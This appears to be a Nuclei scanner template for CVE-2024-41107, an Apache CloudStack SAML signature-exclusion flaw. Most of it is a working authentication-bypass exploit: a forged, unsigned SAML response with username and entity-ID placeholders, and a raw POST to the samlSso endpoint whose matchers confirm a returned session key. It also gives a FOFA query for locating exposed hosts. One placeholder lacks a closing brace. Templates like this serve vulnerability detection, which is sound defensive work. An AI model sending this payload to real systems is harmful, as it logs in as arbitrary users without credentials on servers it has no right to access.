id: CVE-2024-41107

info:
  name: Apache CloudStack - SAML Signature Exclusion
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The CloudStack SAML authentication (disabled by default) does not enforce signature check. In CloudStack environments where SAML authentication is enabled, an attacker that initiates CloudStack SAML single sign-on authentication can bypass SAML authentication by submitting a spoofed SAML response with no signature and known or guessed username and other user details of a SAML-enabled CloudStack user-account
  impact: |
    Unauthenticated attackers can bypass SAML authentication by submitting spoofed SAML responses without signatures.
  remediation: |
    Update Apache CloudStack to a version that enforces SAML signature validation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41107
    - http://www.openwall.com/lists/oss-security/2024/07/19/1
    - http://www.openwall.com/lists/oss-security/2024/07/19/2
    - https://cloudstack.apache.org/blog/security-release-advisory-cve-2024-41107
    - https://github.com/apache/cloudstack/issues/4519
  classification:
    epss-score: 0.92003
    epss-percentile: 0.99712
    cpe: cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="APACHE-CloudStack"
    product: cloudstack
    vendor: apache
  tags: cve,cve2024,apache,cloudstack,auth-bypass,vuln

variables:
  username: "{{username}}"
  entityid: "{{entityid}}"
  saml_id: "{{saml_id}}"
  saml: '<?xml version="1.0" encoding="UTF-8"?><samlp:Response Destination="{{RootURL}}/client/api?command=samlSso"    ID="_b0389fca0ea65fe8e857" InResponseTo="{{saml_id}}"    IssueInstant="2024-07-30T10:48:20.307Z" Version="2.0"    xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">    <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">{{entityid}}</saml:Issuer>    <samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />    </samlp:Status>    <saml:Assertion ID="_7a2993514112bbc72696" IssueInstant="2024-07-30T10:58:20.307Z" Version="2.0"        xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"        xmlns:xs="http://www.w3.org/2001/XMLSchema">        <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">{{entityid}}</saml:Issuer>        <saml:Conditions NotBefore="2024-07-30T10:43:20.307Z"            NotOnOrAfter="2024-07-30T10:53:20.307Z"            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:AudienceRestriction>                <saml:Audience>org.apache.cloudstack</saml:Audience>            </saml:AudienceRestriction>        </saml:Conditions>        <saml:AuthnStatement AuthnInstant="2024-07-30T10:48:20.307Z"            SessionIndex="{{saml_id}"            xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">            <saml:AuthnContext>                <saml:AuthnContextClassRef>                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef>            </saml:AuthnContext>        </saml:AuthnStatement>        <saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">            <saml:Attribute Name="uid"                NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">                <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"                    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">{{username}}</saml:AttributeValue>            </saml:Attribute>                    </saml:AttributeStatement>    </saml:Assertion></samlp:Response>'

http:
  - raw:
      - |
        POST /client/api?command=samlSso HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        RelayState=undefined&SAMLResponse={{urlencode(base64(saml))}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(header,'sessionkey')"
          - "contains(content_type,'text/xml')"
          - "status_code==302"
        condition: and
# digest: 4a0a0047304502203cedd8657faf5aa9ded9f4d08825bc728f824446d8739258f08991c90cc66177022100877dfc41b56aa5fefc0a337c3ebb40338507b4ca314b2800e6cd32b9371cdb87:922c64590222798bb761d5b6d8e72950